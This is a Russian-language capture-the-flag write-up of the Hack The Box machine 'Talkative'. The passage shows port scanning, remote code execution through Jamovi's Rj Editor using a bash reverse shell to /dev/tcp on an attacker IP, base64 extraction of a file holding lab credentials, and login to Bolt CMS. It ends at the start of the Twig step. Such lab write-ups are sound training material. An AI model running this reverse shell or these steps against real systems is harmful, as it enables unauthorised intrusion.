HTB Talkative. Проходим цепочку докер-контейнеров для захвата хоста

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • CMS Bolt — RCE
  • Продвижение
  • Docker
  • MongoDB
  • RocketChat RCE
  • Локальное повышение привилегий
  • Docker escape

В этом рай­тапе по слож­ной машине с пло­щад­ки Hack The Box мы про­экс­плу­ати­руем уяз­вимость в CMS Jamovi для получе­ния учет­ных дан­ных, а затем попен­тестим CMS Bolt, что­бы получить управле­ние над Docker и тун­нелиро­вать тра­фик на основной хост. Пос­ле это­го работа­ем с базой RocketChat для авто­риза­ции в чате и получе­ния RCE. Что­бы повысить при­виле­гии, раз­берем­ся с воз­можностью CAP_DAC_READ_SEARCH.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.155 talkative.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

Наш­ли пять откры­тых пор­тов:

  • 80, 3000 — веб‑сер­вер Apache 2.4.52;
  • 8080, 8081, 8082 — веб‑сер­вер Tornado 5.0.

При этом филь­тру­ется под­клю­чение к пор­ту 22 (SSH).

С помощью ути­литы WhatWeb узна­ем, какие тех­нологии исполь­зуют­ся на обна­ружен­ных откры­тых пор­тах.

whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/

Про­вер­ка исполь­зуемых тех­нологий

Из все­го, что нашел WhatWeb, нас боль­ше все­го инте­ресу­ет плат­форма Jamovi.

Глав­ная стра­ница сай­та http://talkative.htb:3000/ 

Точка входа

Нам дос­тупен Rj Editor, а это очень лег­кий спо­соб получить уда­лен­ное выпол­нение кода (RCE). Для соз­дания реверс‑шел­ла будем исполь­зовать сайт Online Reverse Shell Generator. Там ука­зыва­ем парамет­ры, такие как локаль­ные хост и порт, язык и целевую сис­тему.

Online Reverse Shell Generator

За­тем откры­ваем лис­тенер, мож­но ско­пиро­вать коман­ду из генера­тора. А теперь откры­ваем Rj Editor и переда­ем сге­нери­рован­ный шелл в фун­кцию system. Отправ­ляем на выпол­нение ком­бинаци­ей кла­виш Ctrl + Shift + Enter.

system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",intern=TRUE)

Rj Editor RCE

И получа­ем уда­лен­ную коман­дную обо­лоч­ку.

Бэк­коннект от сер­вера

По поль­зовате­лю и име­ни хос­та понима­ем, что находим­ся в докер‑кон­тей­нере.

 

Точка опоры

Ос­матри­ваем­ся в рабочем окру­жении и в домаш­нем катало­ге рута находим файл с рас­ширени­ем omv.

Со­дер­жимое катало­га /root/

Пе­рене­сем этот файл на локаль­ный хост для даль­нейше­го изу­чения. Так как файл малень­кий, можем закоди­ровать его в Base64, а потом декоди­ровать на локаль­ном хос­те.

cat /root/bolt-administration.omv | base64 -w0

Ко­диро­вание фай­ла

Де­коди­руем текст, а затем рас­паку­ем как архив ZIP. В одном из фай­лов най­дем учет­ные дан­ные.

echo UEsDBBQA...mBgAAAAA= | base64 -d > bolt-administration.omv
unzip bolt-administration.omv

Со­дер­жимое фай­ла xdata.json (логины)

Со­дер­жимое фай­ла xdata.json (пароли)

По­луча­ем сле­дующие пары учет­ных дан­ных:

[email protected] : jeO09ufhWD<s
[email protected] : bZ89h}V<S_DA
[email protected] : )SQWGm>9KHEA

Я переп­робовал раз­ные ком­бинации логинов и паролей, но дос­тупа все рав­но никуда получить не уда­лось. Одна­ко находим поч­товый адрес адми­нис­тра­тора и, поп­робовав най­ден­ные пароли для него, авто­ризу­емся в CMS Bolt.

Глав­ная стра­ница http://talkative.htb/bolt 

CMS Bolt — RCE

Bolt исполь­зует Twig для шаб­лонов и поз­воля­ет управлять кон­тентом и поль­зовате­лями. Это дает нам воз­можность записы­вать код в новый файл или вно­сить изме­нения в сущес­тву­ющие фай­лы.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *